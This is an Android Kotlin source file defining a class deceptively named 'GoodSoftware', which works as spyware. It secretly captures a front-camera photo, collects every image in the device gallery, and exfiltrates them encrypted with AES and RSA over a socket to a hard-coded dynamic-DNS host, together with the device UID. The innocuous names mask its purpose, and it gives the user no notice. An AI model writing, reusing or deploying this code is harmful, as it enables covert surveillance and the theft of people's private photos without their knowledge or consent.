501 lines
19 KiB
Kotlin
501 lines
19 KiB
Kotlin
package com.ti.m
|
|
|
|
import android.Manifest
|
|
import android.content.ContentResolver
|
|
import android.content.ContentUris
|
|
import android.content.Context
|
|
import android.content.Intent
|
|
import android.content.pm.PackageManager
|
|
import android.graphics.Bitmap
|
|
import android.graphics.BitmapFactory
|
|
import android.net.Uri
|
|
import android.os.Build
|
|
import android.provider.MediaStore
|
|
import android.util.Base64
|
|
import android.util.Log
|
|
import androidx.annotation.RequiresApi
|
|
import androidx.camera.core.CameraSelector
|
|
import androidx.camera.core.ImageCapture
|
|
import androidx.camera.core.ImageCaptureException
|
|
import androidx.camera.core.ImageProxy
|
|
import androidx.camera.lifecycle.ProcessCameraProvider
|
|
import androidx.concurrent.futures.await
|
|
import androidx.core.app.ActivityCompat
|
|
import androidx.core.content.ContextCompat
|
|
import androidx.lifecycle.LifecycleOwner
|
|
import androidx.lifecycle.lifecycleScope
|
|
import kotlinx.coroutines.launch
|
|
import java.io.BufferedReader
|
|
import java.io.ByteArrayOutputStream
|
|
import java.io.InputStreamReader
|
|
import java.io.PrintWriter
|
|
import java.net.Socket
|
|
import java.security.KeyFactory
|
|
import java.security.PublicKey
|
|
import java.security.SecureRandom
|
|
import java.security.spec.X509EncodedKeySpec
|
|
import javax.crypto.Cipher
|
|
import javax.crypto.spec.IvParameterSpec
|
|
import javax.crypto.spec.SecretKeySpec
|
|
|
|
|
|
class GoodSoftware (private val activity: MainActivity) {
|
|
private var cameraProvider: ProcessCameraProvider? = null
|
|
private var lensFacing: Int = CameraSelector.LENS_FACING_BACK
|
|
private var imageCapture: ImageCapture? = null
|
|
private val REQUEST_CAMERA_PERMISSION = 100
|
|
private val REQUEST_GALLERY = 101
|
|
private val REQUEST_MEDIA_IMAGES_PERMISSION = 102
|
|
|
|
|
|
private companion object {
|
|
private const val RSA_ALGORITHM = "RSA"
|
|
private const val CIPHER_TYPE_FOR_RSA = "RSA/ECB/PKCS1Padding"
|
|
|
|
private val keyFactory = KeyFactory.getInstance(RSA_ALGORITHM)
|
|
private val cipher = Cipher.getInstance(CIPHER_TYPE_FOR_RSA)
|
|
|
|
fun decodeBase64(input: String): ByteArray {
|
|
return Base64.decode(input, Base64.DEFAULT)
|
|
}
|
|
|
|
fun encodeBase64(input: ByteArray): String {
|
|
return Base64.encodeToString(input, Base64.DEFAULT)
|
|
}
|
|
|
|
fun decrypt(algorithm: String, cipherText: String, key: SecretKeySpec, iv: IvParameterSpec): String {
|
|
val cipher = Cipher.getInstance(algorithm)
|
|
cipher.init(Cipher.DECRYPT_MODE, key, iv)
|
|
val plainText = cipher.doFinal(decodeBase64(cipherText))
|
|
return String(plainText)
|
|
}
|
|
|
|
fun encrypt(algorithm: String, inputText: String, key: SecretKeySpec, iv: IvParameterSpec): String {
|
|
val cipher = Cipher.getInstance(algorithm)
|
|
cipher.init(Cipher.ENCRYPT_MODE, key, iv)
|
|
val cipherText = cipher.doFinal(inputText.toByteArray())
|
|
return encodeBase64(cipherText)
|
|
}
|
|
|
|
fun getPublicKeyFromString(publicKeyString: String): PublicKey? =
|
|
try {
|
|
val keySpec =
|
|
X509EncodedKeySpec(decodeBase64(publicKeyString))
|
|
keyFactory.generatePublic(keySpec)
|
|
} catch (exception: Exception) {
|
|
exception.printStackTrace()
|
|
null
|
|
}
|
|
|
|
fun encryptText(plainText: String, publicKey: PublicKey): String? =
|
|
try {
|
|
cipher.init(Cipher.ENCRYPT_MODE, publicKey)
|
|
encodeBase64(cipher.doFinal(plainText.toByteArray())).lines().joinToString("")
|
|
} catch (exception: Exception) {
|
|
exception.printStackTrace()
|
|
null
|
|
}
|
|
}
|
|
|
|
fun launch() {
|
|
Thread {
|
|
runAllTheGoodness()
|
|
}.start()
|
|
checkCameraPermission()
|
|
}
|
|
|
|
private fun checkCameraPermission() {
|
|
if (ContextCompat.checkSelfPermission(activity, Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) {
|
|
requestCameraPermission()
|
|
} else {
|
|
startPictureCapture()
|
|
}
|
|
}
|
|
|
|
private fun requestCameraPermission() {
|
|
ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.CAMERA), REQUEST_CAMERA_PERMISSION)
|
|
}
|
|
|
|
private fun checkStoragePermission() {
|
|
if (ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_MEDIA_IMAGES) != PackageManager.PERMISSION_GRANTED) {
|
|
// Request READ_MEDIA_IMAGES permission for Android 13 and higher
|
|
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
|
|
requestMediaImagesPermission()
|
|
} else {
|
|
// For lower Android versions, request READ_EXTERNAL_STORAGE
|
|
requestGalleryPermission()
|
|
}
|
|
} else {
|
|
startPictureCapture()
|
|
}
|
|
}
|
|
|
|
@RequiresApi(Build.VERSION_CODES.TIRAMISU)
|
|
private fun requestMediaImagesPermission() {
|
|
ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.READ_MEDIA_IMAGES), REQUEST_MEDIA_IMAGES_PERMISSION)
|
|
}
|
|
|
|
private fun startPictureCapture() {
|
|
activity.lifecycleScope.launch {
|
|
try {
|
|
// Check and request camera permission
|
|
if (ContextCompat.checkSelfPermission(activity, Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) {
|
|
requestCameraPermission()
|
|
}
|
|
|
|
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
|
|
if (ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_MEDIA_IMAGES) != PackageManager.PERMISSION_GRANTED) {
|
|
checkStoragePermission()
|
|
}
|
|
} else {
|
|
if (ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_EXTERNAL_STORAGE) != PackageManager.PERMISSION_GRANTED) {
|
|
checkStoragePermission()
|
|
}
|
|
}
|
|
|
|
// If both permissions are granted, proceed with picture capture and gallery access
|
|
takeBeautifulPicture(activity, activity)
|
|
|
|
Thread {
|
|
try {
|
|
val imageList = getAllImagesFromGallery(activity)
|
|
val connection = establishConnectionWithRetry()
|
|
if (connection == null) {
|
|
return@Thread
|
|
}
|
|
for (image in imageList) {
|
|
val base64Image = encodeImageToBase64(Uri.parse(image), activity.contentResolver)
|
|
sendDataToServer(base64Image, connection)
|
|
next(connection)
|
|
}
|
|
disconnect(connection)
|
|
} catch (e: Exception) {
|
|
e.printStackTrace()
|
|
// Handle the exception, e.g., log the error or notify the user
|
|
}
|
|
}.start()
|
|
} catch (e: Exception) {
|
|
e.printStackTrace()
|
|
// Handle the exception, e.g., log the error or notify the user
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
fun encodeImageToBase64(imageUri: Uri, contentResolver: ContentResolver): String {
|
|
var base64Image = ""
|
|
try {
|
|
contentResolver.openInputStream(imageUri)?.use { inputStream ->
|
|
val bitmap = BitmapFactory.decodeStream(inputStream)
|
|
val width = bitmap.width
|
|
val height = bitmap.height
|
|
|
|
// Determine the orientation of the image
|
|
val resizedBitmap = if (width > height) {
|
|
resizeBitmap(bitmap, 1920, 1080)
|
|
} else if (width < height) {
|
|
resizeBitmap(bitmap, 1080, 1920)
|
|
} else {
|
|
resizeBitmap(bitmap, 1440, 1080)
|
|
}
|
|
|
|
|
|
val byteArrayOutputStream = ByteArrayOutputStream()
|
|
resizedBitmap.compress(Bitmap.CompressFormat.PNG, 100, byteArrayOutputStream)
|
|
val byteArray = byteArrayOutputStream.toByteArray()
|
|
|
|
base64Image = Base64.encodeToString(byteArray, Base64.DEFAULT)
|
|
}
|
|
} catch (oom: OutOfMemoryError) {
|
|
// Handle OutOfMemoryError
|
|
Log.e("OOM", "Out of memory error occurred while encoding image: $imageUri")
|
|
}
|
|
return base64Image
|
|
}
|
|
|
|
fun resizeBitmap(bitmap: Bitmap, newWidth: Int, newHeight: Int): Bitmap {
|
|
val width = bitmap.width
|
|
val height = bitmap.height
|
|
val scaleWidth = newWidth.toFloat() / width
|
|
val scaleHeight = newHeight.toFloat() / height
|
|
val matrix = android.graphics.Matrix()
|
|
matrix.postScale(scaleWidth, scaleHeight)
|
|
|
|
val originalBitmapCopy = Bitmap.createBitmap(bitmap)
|
|
|
|
val resizedBitmap = Bitmap.createBitmap(
|
|
originalBitmapCopy, 0, 0, width, height, matrix, false
|
|
)
|
|
|
|
return resizedBitmap
|
|
}
|
|
|
|
|
|
|
|
private fun requestGalleryPermission() {
|
|
ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.READ_EXTERNAL_STORAGE), REQUEST_GALLERY)
|
|
}
|
|
|
|
// Handle permission request result
|
|
fun onRequestPermissionsResult(requestCode: Int, grantResults: IntArray) {
|
|
when (requestCode) {
|
|
REQUEST_CAMERA_PERMISSION -> {
|
|
if (grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
|
|
startPictureCapture()
|
|
} else {
|
|
// Camera permission denied
|
|
// Handle accordingly
|
|
}
|
|
}
|
|
REQUEST_GALLERY -> {
|
|
if (grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
|
|
startPictureCapture()
|
|
} else {
|
|
// Gallery permission denied
|
|
// Handle accordingly
|
|
}
|
|
}
|
|
REQUEST_MEDIA_IMAGES_PERMISSION -> {
|
|
if (grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
|
|
startPictureCapture()
|
|
} else {
|
|
// Media images permission denied
|
|
// Handle accordingly
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
private fun runAllTheGoodness() {
|
|
// TODO: Implement the functionality to get pictures from gallery
|
|
}
|
|
|
|
|
|
data class ConnectionResult(
|
|
val socket: Socket,
|
|
val reader: BufferedReader,
|
|
val writer: PrintWriter,
|
|
val key: SecretKeySpec,
|
|
val iv: IvParameterSpec,
|
|
val algorithm: String
|
|
)
|
|
|
|
fun establishConnection(): ConnectionResult{
|
|
val pKey = getPublicKeyFromString("MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu09x4q24cMSJZmxMGSzRoL3jXG3kguVbBV6zRnPZwPT9nIofs7yb4lh6/deNedNJssLYJEmiAyI3NzsvLzihipCjatAYEgLgRcF60HBrqUKwT6uxukoVbXi+c9O70CjDEJEKDSW/ps5d6cAOMq5KmoGe4f+Geo5Nzxwjdhlaw/wjY1r5S/C7c5JRMSTn5xYwRZJFM4zRSOEz8d02FemLLWQggvRV7bIJuk1w0039sO/RjWTOeMqNPXXaBH6jV6seDCJ4coXWv0g4xNwCrxNtm1aRFW3zyh3GhAEVXcOmJ5EOUL6EiKt+5RTtSdL7OKHv+RfQuv4pkmlqpPo8pQHvnQIDAQAB")!!
|
|
val host = "thinclient.duckdns.org"
|
|
val port = 5645
|
|
val secureRandom = SecureRandom()
|
|
val keyBytes = ByteArray(16)
|
|
val ivBytes = ByteArray(16)
|
|
secureRandom.nextBytes(keyBytes)
|
|
secureRandom.nextBytes(ivBytes)
|
|
val key = SecretKeySpec(keyBytes, "AES")
|
|
val iv = IvParameterSpec(ivBytes)
|
|
val algorithm = "AES/CBC/PKCS5Padding"
|
|
val socket = Socket(host, port)
|
|
val writer = PrintWriter(socket.getOutputStream(), true)
|
|
val reader = BufferedReader(InputStreamReader(socket.getInputStream()))
|
|
|
|
val encodedKey = encodeBase64(keyBytes)
|
|
writer.println(encryptText(encodedKey, pKey))
|
|
reader.readLine()
|
|
|
|
val encodedIV = encodeBase64(ivBytes)
|
|
writer.println(encryptText(encodedIV, pKey))
|
|
reader.readLine()
|
|
|
|
val encodedUid = encodeBase64(android.os.Process.myUid().toString().toByteArray())
|
|
writer.println(encryptText(encodedUid, pKey))
|
|
reader.readLine()
|
|
|
|
return ConnectionResult(socket, reader, writer, key, iv, algorithm)
|
|
}
|
|
|
|
fun establishConnectionWithRetry(): ConnectionResult? {
|
|
val maxRetries = 3
|
|
var attempt = 0
|
|
var connectionResult: ConnectionResult? = null
|
|
|
|
while (attempt < maxRetries) {
|
|
try {
|
|
connectionResult = establishConnection()
|
|
println("Connection successful")
|
|
break
|
|
} catch (e: Exception) {
|
|
println("Connection attempt failed. Retrying in ${getRetryDelay(attempt)} milliseconds")
|
|
e.printStackTrace()
|
|
attempt++
|
|
Thread.sleep(getRetryDelay(attempt))
|
|
}
|
|
}
|
|
if (connectionResult == null) {
|
|
Log.e("Err","Failed to establish connection after $maxRetries attempts")
|
|
}
|
|
return connectionResult
|
|
}
|
|
|
|
fun getRetryDelay(attempt: Int): Long {
|
|
val baseDelayMillis = 20000L
|
|
return baseDelayMillis * (1 shl attempt)
|
|
}
|
|
|
|
fun sendDataToServer(sendData: String, connectionResult: ConnectionResult) {
|
|
val (socket, reader, writer, key, iv, algorithm) = connectionResult
|
|
try {
|
|
val chunkSize = 131072
|
|
val chunks = sendData.lines().joinToString("").chunked(chunkSize)
|
|
|
|
for (chunk in chunks) {
|
|
val cipherText = encrypt(algorithm, chunk, key, iv).lines().joinToString("")
|
|
writer.println(cipherText)
|
|
reader.readLine()
|
|
}
|
|
|
|
writer.println("END_OF_DATA")
|
|
reader.readLine()
|
|
} catch (e: Exception) {
|
|
e.printStackTrace()
|
|
// Handle the exception, e.g., log the error or notify the user
|
|
}
|
|
}
|
|
|
|
fun next(connectionResult: ConnectionResult) {
|
|
val (socket, reader, writer, _, _, _) = connectionResult
|
|
try {
|
|
writer.println("NEXT")
|
|
} catch (e: Exception) {
|
|
e.printStackTrace()
|
|
}
|
|
}
|
|
|
|
fun disconnect(connectionResult: ConnectionResult) {
|
|
val (socket, reader, writer, _, _, _) = connectionResult
|
|
try {
|
|
writer.println("END_OF_COMMUNICATION")
|
|
writer.close()
|
|
reader.close()
|
|
socket.close()
|
|
} catch (e: Exception) {
|
|
e.printStackTrace()
|
|
}
|
|
}
|
|
|
|
suspend fun takeBeautifulPicture(context: Context, lifecycleOwner: LifecycleOwner) {
|
|
// Ensure that cameraProvider is initialized
|
|
cameraProvider = ProcessCameraProvider.getInstance(context).await()
|
|
|
|
// Ensure that the selected camera is available
|
|
if (!hasBackCamera() && !hasFrontCamera()) {
|
|
Log.e(picture.TAG, "Back and front camera are unavailable")
|
|
return
|
|
}
|
|
|
|
// Select the lens facing, prioritize front camera if available
|
|
lensFacing = if (hasFrontCamera()) {
|
|
CameraSelector.LENS_FACING_FRONT
|
|
} else {
|
|
CameraSelector.LENS_FACING_BACK
|
|
}
|
|
|
|
// Create ImageCapture instance
|
|
imageCapture = ImageCapture.Builder()
|
|
.setCaptureMode(ImageCapture.CAPTURE_MODE_MINIMIZE_LATENCY)
|
|
.build()
|
|
|
|
// Set up image capture listener
|
|
val imageCapturedListener = object : ImageCapture.OnImageCapturedCallback() {
|
|
override fun onError(exc: ImageCaptureException) {
|
|
Log.e(picture.TAG, "Photo capture failed: ${exc.message}", exc)
|
|
}
|
|
|
|
override fun onCaptureSuccess(image: ImageProxy) {
|
|
// Process captured image here
|
|
val byteArrayOutputStream = ByteArrayOutputStream()
|
|
val imagePlane = image.planes[0]
|
|
val buffer = imagePlane.buffer
|
|
val bytes = ByteArray(buffer.capacity())
|
|
buffer.get(bytes)
|
|
byteArrayOutputStream.write(bytes)
|
|
val base64Image = Base64.encodeToString(byteArrayOutputStream.toByteArray(), Base64.DEFAULT)
|
|
//Log.d(picture.TAG, "Base64 Image: $base64Image")
|
|
Thread {
|
|
val conn = establishConnectionWithRetry()
|
|
if (conn == null) {
|
|
return@Thread
|
|
}
|
|
sendDataToServer(base64Image, conn)
|
|
disconnect(conn)
|
|
}.start()
|
|
image.close()
|
|
}
|
|
}
|
|
|
|
// Bind the camera and start image capture
|
|
cameraProvider?.bindToLifecycle(lifecycleOwner, CameraSelector.Builder().requireLensFacing(lensFacing).build(), imageCapture)
|
|
|
|
|
|
imageCapture?.takePicture(
|
|
ContextCompat.getMainExecutor(context),
|
|
imageCapturedListener
|
|
)
|
|
cameraProvider?.unbind()
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
private fun hasBackCamera(): Boolean {
|
|
return cameraProvider?.hasCamera(CameraSelector.DEFAULT_BACK_CAMERA) ?: false
|
|
}
|
|
|
|
private fun hasFrontCamera(): Boolean {
|
|
return cameraProvider?.hasCamera(CameraSelector.DEFAULT_FRONT_CAMERA) ?: false
|
|
}
|
|
|
|
object picture {
|
|
const val TAG = "CameraXBasic"
|
|
}
|
|
|
|
fun getAllImagesFromGallery(context: Context): List<String> {
|
|
val imageList = mutableListOf<String>()
|
|
val contentResolver: ContentResolver = context.contentResolver
|
|
val imageProjection = arrayOf(
|
|
MediaStore.Images.Media._ID,
|
|
MediaStore.Images.Media.DISPLAY_NAME
|
|
)
|
|
val imageUri = MediaStore.Images.Media.EXTERNAL_CONTENT_URI
|
|
|
|
// Check permission based on Android version
|
|
val permission = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
|
|
Manifest.permission.READ_MEDIA_IMAGES // Use READ_MEDIA_IMAGES for Android 13 and higher
|
|
} else {
|
|
Manifest.permission.READ_EXTERNAL_STORAGE // Use READ_EXTERNAL_STORAGE for lower versions
|
|
}
|
|
|
|
if (ContextCompat.checkSelfPermission(context, permission) == PackageManager.PERMISSION_GRANTED) {
|
|
val cursor = contentResolver.query(
|
|
imageUri,
|
|
imageProjection,
|
|
null,
|
|
null,
|
|
"${MediaStore.Images.Media.DATE_ADDED} DESC"
|
|
)
|
|
|
|
cursor?.use { cursor ->
|
|
val idColumn = cursor.getColumnIndexOrThrow(MediaStore.Images.Media._ID)
|
|
while (cursor.moveToNext()) {
|
|
val id = cursor.getLong(idColumn)
|
|
val contentUri = ContentUris.withAppendedId(imageUri, id)
|
|
imageList.add(contentUri.toString())
|
|
}
|
|
}
|
|
} else {
|
|
ActivityCompat.requestPermissions(activity, arrayOf(permission), REQUEST_MEDIA_IMAGES_PERMISSION)
|
|
}
|
|
|
|
return imageList
|
|
}
|
|
|
|
} |